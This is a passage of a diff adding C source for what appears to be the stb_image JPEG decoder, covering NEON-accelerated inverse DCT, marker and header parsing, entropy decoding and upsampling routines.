+#define dct_long_mul(out, inq, coeff) \
+   int32x4_t out##_l = vmull_s16(vget_low_s16(inq), coeff); \
+   int32x4_t out##_h = vmull_s16(vget_high_s16(inq), coeff)
+
+#define dct_long_mac(out, acc, inq, coeff) \
+   int32x4_t out##_l = vmlal_s16(acc##_l, vget_low_s16(inq), coeff); \
+   int32x4_t out##_h = vmlal_s16(acc##_h, vget_high_s16(inq), coeff)
+
+#define dct_widen(out, inq) \
+   int32x4_t out##_l = vshll_n_s16(vget_low_s16(inq), 12); \
+   int32x4_t out##_h = vshll_n_s16(vget_high_s16(inq), 12)
+
+// wide add
+#define dct_wadd(out, a, b) \
+   int32x4_t out##_l = vaddq_s32(a##_l, b##_l); \
+   int32x4_t out##_h = vaddq_s32(a##_h, b##_h)
+
+// wide sub
+#define dct_wsub(out, a, b) \
+   int32x4_t out##_l = vsubq_s32(a##_l, b##_l); \
+   int32x4_t out##_h = vsubq_s32(a##_h, b##_h)
+
+// butterfly a/b, then shift using "shiftop" by "s" and pack
+#define dct_bfly32o(out0,out1, a,b,shiftop,s) \
+   { \
+      dct_wadd(sum, a, b); \
+      dct_wsub(dif, a, b); \
+      out0 = vcombine_s16(shiftop(sum_l, s), shiftop(sum_h, s)); \
+      out1 = vcombine_s16(shiftop(dif_l, s), shiftop(dif_h, s)); \
+   }
+
+#define dct_pass(shiftop, shift) \
+   { \
+      /* even part */ \
+      int16x8_t sum26 = vaddq_s16(row2, row6); \
+      dct_long_mul(p1e, sum26, rot0_0); \
+      dct_long_mac(t2e, p1e, row6, rot0_1); \
+      dct_long_mac(t3e, p1e, row2, rot0_2); \
+      int16x8_t sum04 = vaddq_s16(row0, row4); \
+      int16x8_t dif04 = vsubq_s16(row0, row4); \
+      dct_widen(t0e, sum04); \
+      dct_widen(t1e, dif04); \
+      dct_wadd(x0, t0e, t3e); \
+      dct_wsub(x3, t0e, t3e); \
+      dct_wadd(x1, t1e, t2e); \
+      dct_wsub(x2, t1e, t2e); \
+      /* odd part */ \
+      int16x8_t sum15 = vaddq_s16(row1, row5); \
+      int16x8_t sum17 = vaddq_s16(row1, row7); \
+      int16x8_t sum35 = vaddq_s16(row3, row5); \
+      int16x8_t sum37 = vaddq_s16(row3, row7); \
+      int16x8_t sumodd = vaddq_s16(sum17, sum35); \
+      dct_long_mul(p5o, sumodd, rot1_0); \
+      dct_long_mac(p1o, p5o, sum17, rot1_1); \
+      dct_long_mac(p2o, p5o, sum35, rot1_2); \
+      dct_long_mul(p3o, sum37, rot2_0); \
+      dct_long_mul(p4o, sum15, rot2_1); \
+      dct_wadd(sump13o, p1o, p3o); \
+      dct_wadd(sump24o, p2o, p4o); \
+      dct_wadd(sump23o, p2o, p3o); \
+      dct_wadd(sump14o, p1o, p4o); \
+      dct_long_mac(x4, sump13o, row7, rot3_0); \
+      dct_long_mac(x5, sump24o, row5, rot3_1); \
+      dct_long_mac(x6, sump23o, row3, rot3_2); \
+      dct_long_mac(x7, sump14o, row1, rot3_3); \
+      dct_bfly32o(row0,row7, x0,x7,shiftop,shift); \
+      dct_bfly32o(row1,row6, x1,x6,shiftop,shift); \
+      dct_bfly32o(row2,row5, x2,x5,shiftop,shift); \
+      dct_bfly32o(row3,row4, x3,x4,shiftop,shift); \
+   }
+
+   // load
+   row0 = vld1q_s16(data + 0*8);
+   row1 = vld1q_s16(data + 1*8);
+   row2 = vld1q_s16(data + 2*8);
+   row3 = vld1q_s16(data + 3*8);
+   row4 = vld1q_s16(data + 4*8);
+   row5 = vld1q_s16(data + 5*8);
+   row6 = vld1q_s16(data + 6*8);
+   row7 = vld1q_s16(data + 7*8);
+
+   // add DC bias
+   row0 = vaddq_s16(row0, vsetq_lane_s16(1024, vdupq_n_s16(0), 0));
+
+   // column pass
+   dct_pass(vrshrn_n_s32, 10);
+
+   // 16bit 8x8 transpose
+   {
+// these three map to a single VTRN.16, VTRN.32, and VSWP, respectively.
+// whether compilers actually get this is another story, sadly.
+#define dct_trn16(x, y) { int16x8x2_t t = vtrnq_s16(x, y); x = t.val[0]; y = t.val[1]; }
+#define dct_trn32(x, y) { int32x4x2_t t = vtrnq_s32(vreinterpretq_s32_s16(x), vreinterpretq_s32_s16(y)); x = vreinterpretq_s16_s32(t.val[0]); y = vreinterpretq_s16_s32(t.val[1]); }
+#define dct_trn64(x, y) { int16x8_t x0 = x; int16x8_t y0 = y; x = vcombine_s16(vget_low_s16(x0), vget_low_s16(y0)); y = vcombine_s16(vget_high_s16(x0), vget_high_s16(y0)); }
+
+      // pass 1
+      dct_trn16(row0, row1); // a0b0a2b2a4b4a6b6
+      dct_trn16(row2, row3);
+      dct_trn16(row4, row5);
+      dct_trn16(row6, row7);
+
+      // pass 2
+      dct_trn32(row0, row2); // a0b0c0d0a4b4c4d4
+      dct_trn32(row1, row3);
+      dct_trn32(row4, row6);
+      dct_trn32(row5, row7);
+
+      // pass 3
+      dct_trn64(row0, row4); // a0b0c0d0e0f0g0h0
+      dct_trn64(row1, row5);
+      dct_trn64(row2, row6);
+      dct_trn64(row3, row7);
+
+#undef dct_trn16
+#undef dct_trn32
+#undef dct_trn64
+   }
+
+   // row pass
+   // vrshrn_n_s32 only supports shifts up to 16, we need
+   // 17. so do a non-rounding shift of 16 first then follow
+   // up with a rounding shift by 1.
+   dct_pass(vshrn_n_s32, 16);
+
+   {
+      // pack and round
+      uint8x8_t p0 = vqrshrun_n_s16(row0, 1);
+      uint8x8_t p1 = vqrshrun_n_s16(row1, 1);
+      uint8x8_t p2 = vqrshrun_n_s16(row2, 1);
+      uint8x8_t p3 = vqrshrun_n_s16(row3, 1);
+      uint8x8_t p4 = vqrshrun_n_s16(row4, 1);
+      uint8x8_t p5 = vqrshrun_n_s16(row5, 1);
+      uint8x8_t p6 = vqrshrun_n_s16(row6, 1);
+      uint8x8_t p7 = vqrshrun_n_s16(row7, 1);
+
+      // again, these can translate into one instruction, but often don't.
+#define dct_trn8_8(x, y) { uint8x8x2_t t = vtrn_u8(x, y); x = t.val[0]; y = t.val[1]; }
+#define dct_trn8_16(x, y) { uint16x4x2_t t = vtrn_u16(vreinterpret_u16_u8(x), vreinterpret_u16_u8(y)); x = vreinterpret_u8_u16(t.val[0]); y = vreinterpret_u8_u16(t.val[1]); }
+#define dct_trn8_32(x, y) { uint32x2x2_t t = vtrn_u32(vreinterpret_u32_u8(x), vreinterpret_u32_u8(y)); x = vreinterpret_u8_u32(t.val[0]); y = vreinterpret_u8_u32(t.val[1]); }
+
+      // sadly can't use interleaved stores here since we only write
+      // 8 bytes to each scan line!
+
+      // 8x8 8-bit transpose pass 1
+      dct_trn8_8(p0, p1);
+      dct_trn8_8(p2, p3);
+      dct_trn8_8(p4, p5);
+      dct_trn8_8(p6, p7);
+
+      // pass 2
+      dct_trn8_16(p0, p2);
+      dct_trn8_16(p1, p3);
+      dct_trn8_16(p4, p6);
+      dct_trn8_16(p5, p7);
+
+      // pass 3
+      dct_trn8_32(p0, p4);
+      dct_trn8_32(p1, p5);
+      dct_trn8_32(p2, p6);
+      dct_trn8_32(p3, p7);
+
+      // store
+      vst1_u8(out, p0); out += out_stride;
+      vst1_u8(out, p1); out += out_stride;
+      vst1_u8(out, p2); out += out_stride;
+      vst1_u8(out, p3); out += out_stride;
+      vst1_u8(out, p4); out += out_stride;
+      vst1_u8(out, p5); out += out_stride;
+      vst1_u8(out, p6); out += out_stride;
+      vst1_u8(out, p7);
+
+#undef dct_trn8_8
+#undef dct_trn8_16
+#undef dct_trn8_32
+   }
+
+#undef dct_long_mul
+#undef dct_long_mac
+#undef dct_widen
+#undef dct_wadd
+#undef dct_wsub
+#undef dct_bfly32o
+#undef dct_pass
+}
+
+#endif // STBI_NEON
+
+#define STBI__MARKER_none  0xff
+// if there's a pending marker from the entropy stream, return that
+// otherwise, fetch from the stream and get a marker. if there's no
+// marker, return 0xff, which is never a valid marker value
+static stbi_uc stbi__get_marker(stbi__jpeg *j)
+{
+   stbi_uc x;
+   if (j->marker != STBI__MARKER_none) { x = j->marker; j->marker = STBI__MARKER_none; return x; }
+   x = stbi__get8(j->s);
+   if (x != 0xff) return STBI__MARKER_none;
+   while (x == 0xff)
+      x = stbi__get8(j->s); // consume repeated 0xff fill bytes
+   return x;
+}
+
+// in each scan, we'll have scan_n components, and the order
+// of the components is specified by order[]
+#define STBI__RESTART(x)     ((x) >= 0xd0 && (x) <= 0xd7)
+
+// after a restart interval, stbi__jpeg_reset the entropy decoder and
+// the dc prediction
+static void stbi__jpeg_reset(stbi__jpeg *j)
+{
+   j->code_bits = 0;
+   j->code_buffer = 0;
+   j->nomore = 0;
+   j->img_comp[0].dc_pred = j->img_comp[1].dc_pred = j->img_comp[2].dc_pred = j->img_comp[3].dc_pred = 0;
+   j->marker = STBI__MARKER_none;
+   j->todo = j->restart_interval ? j->restart_interval : 0x7fffffff;
+   j->eob_run = 0;
+   // no more than 1<<31 MCUs if no restart_interal? that's plenty safe,
+   // since we don't even allow 1<<30 pixels
+}
+
+static int stbi__parse_entropy_coded_data(stbi__jpeg *z)
+{
+   stbi__jpeg_reset(z);
+   if (!z->progressive) {
+      if (z->scan_n == 1) {
+         int i,j;
+         STBI_SIMD_ALIGN(short, data[64]);
+         int n = z->order[0];
+         // non-interleaved data, we just need to process one block at a time,
+         // in trivial scanline order
+         // number of blocks to do just depends on how many actual "pixels" this
+         // component has, independent of interleaved MCU blocking and such
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               int ha = z->img_comp[n].ha;
+               if (!stbi__jpeg_decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+ha, z->fast_ac[ha], n, z->dequant[z->img_comp[n].tq])) return 0;
+               z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data);
+               // every data block is an MCU, so countdown the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  // if it's NOT a restart, then just bail, so we get corrupt data
+                  // rather than no data
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      } else { // interleaved
+         int i,j,k,x,y;
+         STBI_SIMD_ALIGN(short, data[64]);
+         for (j=0; j < z->img_mcu_y; ++j) {
+            for (i=0; i < z->img_mcu_x; ++i) {
+               // scan an interleaved mcu... process scan_n components in order
+               for (k=0; k < z->scan_n; ++k) {
+                  int n = z->order[k];
+                  // scan out an mcu's worth of this component; that's just determined
+                  // by the basic H and V specified for the component
+                  for (y=0; y < z->img_comp[n].v; ++y) {
+                     for (x=0; x < z->img_comp[n].h; ++x) {
+                        int x2 = (i*z->img_comp[n].h + x)*8;
+                        int y2 = (j*z->img_comp[n].v + y)*8;
+                        int ha = z->img_comp[n].ha;
+                        if (!stbi__jpeg_decode_block(z, data, z->huff_dc+z->img_comp[n].hd, z->huff_ac+ha, z->fast_ac[ha], n, z->dequant[z->img_comp[n].tq])) return 0;
+                        z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*y2+x2, z->img_comp[n].w2, data);
+                     }
+                  }
+               }
+               // after all interleaved components, that's an interleaved MCU,
+               // so now count down the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      }
+   } else {
+      if (z->scan_n == 1) {
+         int i,j;
+         int n = z->order[0];
+         // non-interleaved data, we just need to process one block at a time,
+         // in trivial scanline order
+         // number of blocks to do just depends on how many actual "pixels" this
+         // component has, independent of interleaved MCU blocking and such
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               short *data = z->img_comp[n].coeff + 64 * (i + j * z->img_comp[n].coeff_w);
+               if (z->spec_start == 0) {
+                  if (!stbi__jpeg_decode_block_prog_dc(z, data, &z->huff_dc[z->img_comp[n].hd], n))
+                     return 0;
+               } else {
+                  int ha = z->img_comp[n].ha;
+                  if (!stbi__jpeg_decode_block_prog_ac(z, data, &z->huff_ac[ha], z->fast_ac[ha]))
+                     return 0;
+               }
+               // every data block is an MCU, so countdown the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      } else { // interleaved
+         int i,j,k,x,y;
+         for (j=0; j < z->img_mcu_y; ++j) {
+            for (i=0; i < z->img_mcu_x; ++i) {
+               // scan an interleaved mcu... process scan_n components in order
+               for (k=0; k < z->scan_n; ++k) {
+                  int n = z->order[k];
+                  // scan out an mcu's worth of this component; that's just determined
+                  // by the basic H and V specified for the component
+                  for (y=0; y < z->img_comp[n].v; ++y) {
+                     for (x=0; x < z->img_comp[n].h; ++x) {
+                        int x2 = (i*z->img_comp[n].h + x);
+                        int y2 = (j*z->img_comp[n].v + y);
+                        short *data = z->img_comp[n].coeff + 64 * (x2 + y2 * z->img_comp[n].coeff_w);
+                        if (!stbi__jpeg_decode_block_prog_dc(z, data, &z->huff_dc[z->img_comp[n].hd], n))
+                           return 0;
+                     }
+                  }
+               }
+               // after all interleaved components, that's an interleaved MCU,
+               // so now count down the restart interval
+               if (--z->todo <= 0) {
+                  if (z->code_bits < 24) stbi__grow_buffer_unsafe(z);
+                  if (!STBI__RESTART(z->marker)) return 1;
+                  stbi__jpeg_reset(z);
+               }
+            }
+         }
+         return 1;
+      }
+   }
+}
+
+static void stbi__jpeg_dequantize(short *data, stbi__uint16 *dequant)
+{
+   int i;
+   for (i=0; i < 64; ++i)
+      data[i] *= dequant[i];
+}
+
+static void stbi__jpeg_finish(stbi__jpeg *z)
+{
+   if (z->progressive) {
+      // dequantize and idct the data
+      int i,j,n;
+      for (n=0; n < z->s->img_n; ++n) {
+         int w = (z->img_comp[n].x+7) >> 3;
+         int h = (z->img_comp[n].y+7) >> 3;
+         for (j=0; j < h; ++j) {
+            for (i=0; i < w; ++i) {
+               short *data = z->img_comp[n].coeff + 64 * (i + j * z->img_comp[n].coeff_w);
+               stbi__jpeg_dequantize(data, z->dequant[z->img_comp[n].tq]);
+               z->idct_block_kernel(z->img_comp[n].data+z->img_comp[n].w2*j*8+i*8, z->img_comp[n].w2, data);
+            }
+         }
+      }
+   }
+}
+
+static int stbi__process_marker(stbi__jpeg *z, int m)
+{
+   int L;
+   switch (m) {
+      case STBI__MARKER_none: // no marker found
+         return stbi__err("expected marker","Corrupt JPEG");
+
+      case 0xDD: // DRI - specify restart interval
+         if (stbi__get16be(z->s) != 4) return stbi__err("bad DRI len","Corrupt JPEG");
+         z->restart_interval = stbi__get16be(z->s);
+         return 1;
+
+      case 0xDB: // DQT - define quantization table
+         L = stbi__get16be(z->s)-2;
+         while (L > 0) {
+            int q = stbi__get8(z->s);
+            int p = q >> 4, sixteen = (p != 0);
+            int t = q & 15,i;
+            if (p != 0 && p != 1) return stbi__err("bad DQT type","Corrupt JPEG");
+            if (t > 3) return stbi__err("bad DQT table","Corrupt JPEG");
+
+            for (i=0; i < 64; ++i)
+               z->dequant[t][stbi__jpeg_dezigzag[i]] = (stbi__uint16)(sixteen ? stbi__get16be(z->s) : stbi__get8(z->s));
+            L -= (sixteen ? 129 : 65);
+         }
+         return L==0;
+
+      case 0xC4: // DHT - define huffman table
+         L = stbi__get16be(z->s)-2;
+         while (L > 0) {
+            stbi_uc *v;
+            int sizes[16],i,n=0;
+            int q = stbi__get8(z->s);
+            int tc = q >> 4;
+            int th = q & 15;
+            if (tc > 1 || th > 3) return stbi__err("bad DHT header","Corrupt JPEG");
+            for (i=0; i < 16; ++i) {
+               sizes[i] = stbi__get8(z->s);
+               n += sizes[i];
+            }
+            L -= 17;
+            if (tc == 0) {
+               if (!stbi__build_huffman(z->huff_dc+th, sizes)) return 0;
+               v = z->huff_dc[th].values;
+            } else {
+               if (!stbi__build_huffman(z->huff_ac+th, sizes)) return 0;
+               v = z->huff_ac[th].values;
+            }
+            for (i=0; i < n; ++i)
+               v[i] = stbi__get8(z->s);
+            if (tc != 0)
+               stbi__build_fast_ac(z->fast_ac[th], z->huff_ac + th);
+            L -= n;
+         }
+         return L==0;
+   }
+
+   // check for comment block or APP blocks
+   if ((m >= 0xE0 && m <= 0xEF) || m == 0xFE) {
+      L = stbi__get16be(z->s);
+      if (L < 2) {
+         if (m == 0xFE)
+            return stbi__err("bad COM len","Corrupt JPEG");
+         else
+            return stbi__err("bad APP len","Corrupt JPEG");
+      }
+      L -= 2;
+
+      if (m == 0xE0 && L >= 5) { // JFIF APP0 segment
+         static const unsigned char tag[5] = {'J','F','I','F','\0'};
+         int ok = 1;
+         int i;
+         for (i=0; i < 5; ++i)
+            if (stbi__get8(z->s) != tag[i])
+               ok = 0;
+         L -= 5;
+         if (ok)
+            z->jfif = 1;
+      } else if (m == 0xEE && L >= 12) { // Adobe APP14 segment
+         static const unsigned char tag[6] = {'A','d','o','b','e','\0'};
+         int ok = 1;
+         int i;
+         for (i=0; i < 6; ++i)
+            if (stbi__get8(z->s) != tag[i])
+               ok = 0;
+         L -= 6;
+         if (ok) {
+            stbi__get8(z->s); // version
+            stbi__get16be(z->s); // flags0
+            stbi__get16be(z->s); // flags1
+            z->app14_color_transform = stbi__get8(z->s); // color transform
+            L -= 6;
+         }
+      }
+
+      stbi__skip(z->s, L);
+      return 1;
+   }
+
+   return stbi__err("unknown marker","Corrupt JPEG");
+}
+
+// after we see SOS
+static int stbi__process_scan_header(stbi__jpeg *z)
+{
+   int i;
+   int Ls = stbi__get16be(z->s);
+   z->scan_n = stbi__get8(z->s);
+   if (z->scan_n < 1 || z->scan_n > 4 || z->scan_n > (int) z->s->img_n) return stbi__err("bad SOS component count","Corrupt JPEG");
+   if (Ls != 6+2*z->scan_n) return stbi__err("bad SOS len","Corrupt JPEG");
+   for (i=0; i < z->scan_n; ++i) {
+      int id = stbi__get8(z->s), which;
+      int q = stbi__get8(z->s);
+      for (which = 0; which < z->s->img_n; ++which)
+         if (z->img_comp[which].id == id)
+            break;
+      if (which == z->s->img_n) return 0; // no match
+      z->img_comp[which].hd = q >> 4;   if (z->img_comp[which].hd > 3) return stbi__err("bad DC huff","Corrupt JPEG");
+      z->img_comp[which].ha = q & 15;   if (z->img_comp[which].ha > 3) return stbi__err("bad AC huff","Corrupt JPEG");
+      z->order[i] = which;
+   }
+
+   {
+      int aa;
+      z->spec_start = stbi__get8(z->s);
+      z->spec_end   = stbi__get8(z->s); // should be 63, but might be 0
+      aa = stbi__get8(z->s);
+      z->succ_high = (aa >> 4);
+      z->succ_low  = (aa & 15);
+      if (z->progressive) {
+         if (z->spec_start > 63 || z->spec_end > 63  || z->spec_start > z->spec_end || z->succ_high > 13 || z->succ_low > 13)
+            return stbi__err("bad SOS", "Corrupt JPEG");
+      } else {
+         if (z->spec_start != 0) return stbi__err("bad SOS","Corrupt JPEG");
+         if (z->succ_high != 0 || z->succ_low != 0) return stbi__err("bad SOS","Corrupt JPEG");
+         z->spec_end = 63;
+      }
+   }
+
+   return 1;
+}
+
+static int stbi__free_jpeg_components(stbi__jpeg *z, int ncomp, int why)
+{
+   int i;
+   for (i=0; i < ncomp; ++i) {
+      if (z->img_comp[i].raw_data) {
+         STBI_FREE(z->img_comp[i].raw_data);
+         z->img_comp[i].raw_data = NULL;
+         z->img_comp[i].data = NULL;
+      }
+      if (z->img_comp[i].raw_coeff) {
+         STBI_FREE(z->img_comp[i].raw_coeff);
+         z->img_comp[i].raw_coeff = 0;
+         z->img_comp[i].coeff = 0;
+      }
+      if (z->img_comp[i].linebuf) {
+         STBI_FREE(z->img_comp[i].linebuf);
+         z->img_comp[i].linebuf = NULL;
+      }
+   }
+   return why;
+}
+
+static int stbi__process_frame_header(stbi__jpeg *z, int scan)
+{
+   stbi__context *s = z->s;
+   int Lf,p,i,q, h_max=1,v_max=1,c;
+   Lf = stbi__get16be(s);         if (Lf < 11) return stbi__err("bad SOF len","Corrupt JPEG"); // JPEG
+   p  = stbi__get8(s);            if (p != 8) return stbi__err("only 8-bit","JPEG format not supported: 8-bit only"); // JPEG baseline
+   s->img_y = stbi__get16be(s);   if (s->img_y == 0) return stbi__err("no header height", "JPEG format not supported: delayed height"); // Legal, but we don't handle it--but neither does IJG
+   s->img_x = stbi__get16be(s);   if (s->img_x == 0) return stbi__err("0 width","Corrupt JPEG"); // JPEG requires
+   c = stbi__get8(s);
+   if (c != 3 && c != 1 && c != 4) return stbi__err("bad component count","Corrupt JPEG");
+   s->img_n = c;
+   for (i=0; i < c; ++i) {
+      z->img_comp[i].data = NULL;
+      z->img_comp[i].linebuf = NULL;
+   }
+
+   if (Lf != 8+3*s->img_n) return stbi__err("bad SOF len","Corrupt JPEG");
+
+   z->rgb = 0;
+   for (i=0; i < s->img_n; ++i) {
+      static const unsigned char rgb[3] = { 'R', 'G', 'B' };
+      z->img_comp[i].id = stbi__get8(s);
+      if (s->img_n == 3 && z->img_comp[i].id == rgb[i])
+         ++z->rgb;
+      q = stbi__get8(s);
+      z->img_comp[i].h = (q >> 4);  if (!z->img_comp[i].h || z->img_comp[i].h > 4) return stbi__err("bad H","Corrupt JPEG");
+      z->img_comp[i].v = q & 15;    if (!z->img_comp[i].v || z->img_comp[i].v > 4) return stbi__err("bad V","Corrupt JPEG");
+      z->img_comp[i].tq = stbi__get8(s);  if (z->img_comp[i].tq > 3) return stbi__err("bad TQ","Corrupt JPEG");
+   }
+
+   if (scan != STBI__SCAN_load) return 1;
+
+   if (!stbi__mad3sizes_valid(s->img_x, s->img_y, s->img_n, 0)) return stbi__err("too large", "Image too large to decode");
+
+   for (i=0; i < s->img_n; ++i) {
+      if (z->img_comp[i].h > h_max) h_max = z->img_comp[i].h;
+      if (z->img_comp[i].v > v_max) v_max = z->img_comp[i].v;
+   }
+
+   // compute interleaved mcu info
+   z->img_h_max = h_max;
+   z->img_v_max = v_max;
+   z->img_mcu_w = h_max * 8;
+   z->img_mcu_h = v_max * 8;
+   // these sizes can't be more than 17 bits
+   z->img_mcu_x = (s->img_x + z->img_mcu_w-1) / z->img_mcu_w;
+   z->img_mcu_y = (s->img_y + z->img_mcu_h-1) / z->img_mcu_h;
+
+   for (i=0; i < s->img_n; ++i) {
+      // number of effective pixels (e.g. for non-interleaved MCU)
+      z->img_comp[i].x = (s->img_x * z->img_comp[i].h + h_max-1) / h_max;
+      z->img_comp[i].y = (s->img_y * z->img_comp[i].v + v_max-1) / v_max;
+      // to simplify generation, we'll allocate enough memory to decode
+      // the bogus oversized data from using interleaved MCUs and their
+      // big blocks (e.g. a 16x16 iMCU on an image of width 33); we won't
+      // discard the extra data until colorspace conversion
+      //
+      // img_mcu_x, img_mcu_y: <=17 bits; comp[i].h and .v are <=4 (checked earlier)
+      // so these muls can't overflow with 32-bit ints (which we require)
+      z->img_comp[i].w2 = z->img_mcu_x * z->img_comp[i].h * 8;
+      z->img_comp[i].h2 = z->img_mcu_y * z->img_comp[i].v * 8;
+      z->img_comp[i].coeff = 0;
+      z->img_comp[i].raw_coeff = 0;
+      z->img_comp[i].linebuf = NULL;
+      z->img_comp[i].raw_data = stbi__malloc_mad2(z->img_comp[i].w2, z->img_comp[i].h2, 15);
+      if (z->img_comp[i].raw_data == NULL)
+         return stbi__free_jpeg_components(z, i+1, stbi__err("outofmem", "Out of memory"));
+      // align blocks for idct using mmx/sse
+      z->img_comp[i].data = (stbi_uc*) (((size_t) z->img_comp[i].raw_data + 15) & ~15);
+      if (z->progressive) {
+         // w2, h2 are multiples of 8 (see above)
+         z->img_comp[i].coeff_w = z->img_comp[i].w2 / 8;
+         z->img_comp[i].coeff_h = z->img_comp[i].h2 / 8;
+         z->img_comp[i].raw_coeff = stbi__malloc_mad3(z->img_comp[i].w2, z->img_comp[i].h2, sizeof(short), 15);
+         if (z->img_comp[i].raw_coeff == NULL)
+            return stbi__free_jpeg_components(z, i+1, stbi__err("outofmem", "Out of memory"));
+         z->img_comp[i].coeff = (short*) (((size_t) z->img_comp[i].raw_coeff + 15) & ~15);
+      }
+   }
+
+   return 1;
+}
+
+// use comparisons since in some cases we handle more than one case (e.g. SOF)
+#define stbi__DNL(x)         ((x) == 0xdc)
+#define stbi__SOI(x)         ((x) == 0xd8)
+#define stbi__EOI(x)         ((x) == 0xd9)
+#define stbi__SOF(x)         ((x) == 0xc0 || (x) == 0xc1 || (x) == 0xc2)
+#define stbi__SOS(x)         ((x) == 0xda)
+
+#define stbi__SOF_progressive(x)   ((x) == 0xc2)
+
+static int stbi__decode_jpeg_header(stbi__jpeg *z, int scan)
+{
+   int m;
+   z->jfif = 0;
+   z->app14_color_transform = -1; // valid values are 0,1,2
+   z->marker = STBI__MARKER_none; // initialize cached marker to empty
+   m = stbi__get_marker(z);
+   if (!stbi__SOI(m)) return stbi__err("no SOI","Corrupt JPEG");
+   if (scan == STBI__SCAN_type) return 1;
+   m = stbi__get_marker(z);
+   while (!stbi__SOF(m)) {
+      if (!stbi__process_marker(z,m)) return 0;
+      m = stbi__get_marker(z);
+      while (m == STBI__MARKER_none) {
+         // some files have extra padding after their blocks, so ok, we'll scan
+         if (stbi__at_eof(z->s)) return stbi__err("no SOF", "Corrupt JPEG");
+         m = stbi__get_marker(z);
+      }
+   }
+   z->progressive = stbi__SOF_progressive(m);
+   if (!stbi__process_frame_header(z, scan)) return 0;
+   return 1;
+}
+
+// decode image to YCbCr format
+static int stbi__decode_jpeg_image(stbi__jpeg *j)
+{
+   int m;
+   for (m = 0; m < 4; m++) {
+      j->img_comp[m].raw_data = NULL;
+      j->img_comp[m].raw_coeff = NULL;
+   }
+   j->restart_interval = 0;
+   if (!stbi__decode_jpeg_header(j, STBI__SCAN_load)) return 0;
+   m = stbi__get_marker(j);
+   while (!stbi__EOI(m)) {
+      if (stbi__SOS(m)) {
+         if (!stbi__process_scan_header(j)) return 0;
+         if (!stbi__parse_entropy_coded_data(j)) return 0;
+         if (j->marker == STBI__MARKER_none ) {
+            // handle 0s at the end of image data from IP Kamera 9060
+            while (!stbi__at_eof(j->s)) {
+               int x = stbi__get8(j->s);
+               if (x == 255) {
+                  j->marker = stbi__get8(j->s);
+                  break;
+               }
+            }
+            // if we reach eof without hitting a marker, stbi__get_marker() below will fail and we'll eventually return 0
+         }
+      } else if (stbi__DNL(m)) {
+         int Ld = stbi__get16be(j->s);
+         stbi__uint32 NL = stbi__get16be(j->s);
+         if (Ld != 4) return stbi__err("bad DNL len", "Corrupt JPEG");
+         if (NL != j->s->img_y) return stbi__err("bad DNL height", "Corrupt JPEG");
+      } else {
+         if (!stbi__process_marker(j, m)) return 0;
+      }
+      m = stbi__get_marker(j);
+   }
+   if (j->progressive)
+      stbi__jpeg_finish(j);
+   return 1;
+}
+
+// static jfif-centered resampling (across block boundaries)
+
+typedef stbi_uc *(*resample_row_func)(stbi_uc *out, stbi_uc *in0, stbi_uc *in1,
+                                    int w, int hs);
+
+#define stbi__div4(x) ((stbi_uc) ((x) >> 2))
+
+static stbi_uc *resample_row_1(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   STBI_NOTUSED(out);
+   STBI_NOTUSED(in_far);
+   STBI_NOTUSED(w);
+   STBI_NOTUSED(hs);
+   return in_near;
+}
+
+static stbi_uc* stbi__resample_row_v_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate two samples vertically for every one in input
+   int i;
+   STBI_NOTUSED(hs);
+   for (i=0; i < w; ++i)
+      out[i] = stbi__div4(3*in_near[i] + in_far[i] + 2);
+   return out;
+}
+
+static stbi_uc*  stbi__resample_row_h_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate two samples horizontally for every one in input
+   int i;
+   stbi_uc *input = in_near;
+
+   if (w == 1) {
+      // if only one sample, can't do any interpolation
+      out[0] = out[1] = input[0];
+      return out;
+   }
+
+   out[0] = input[0];
+   out[1] = stbi__div4(input[0]*3 + input[1] + 2);
+   for (i=1; i < w-1; ++i) {
+      int n = 3*input[i]+2;
+      out[i*2+0] = stbi__div4(n+input[i-1]);
+      out[i*2+1] = stbi__div4(n+input[i+1]);
+   }
+   out[i*2+0] = stbi__div4(input[w-2]*3 + input[w-1] + 2);
+   out[i*2+1] = input[w-1];
+
+   STBI_NOTUSED(in_far);
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+
+#define stbi__div16(x) ((stbi_uc) ((x) >> 4))
+
+static stbi_uc *stbi__resample_row_hv_2(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate 2x2 samples for every one in input
+   int i,t0,t1;
+   if (w == 1) {
+      out[0] = out[1] = stbi__div4(3*in_near[0] + in_far[0] + 2);
+      return out;
+   }
+
+   t1 = 3*in_near[0] + in_far[0];
+   out[0] = stbi__div4(t1+2);
+   for (i=1; i < w; ++i) {
+      t0 = t1;
+      t1 = 3*in_near[i]+in_far[i];
+      out[i*2-1] = stbi__div16(3*t0 + t1 + 8);
+      out[i*2  ] = stbi__div16(3*t1 + t0 + 8);
+   }
+   out[w*2-1] = stbi__div4(t1+2);
+
+   STBI_NOTUSED(hs);
+
+   return out;
+}
+
+#if defined(STBI_SSE2) || defined(STBI_NEON)
+static stbi_uc *stbi__resample_row_hv_2_simd(stbi_uc *out, stbi_uc *in_near, stbi_uc *in_far, int w, int hs)
+{
+   // need to generate 2x2 samples for every one in input
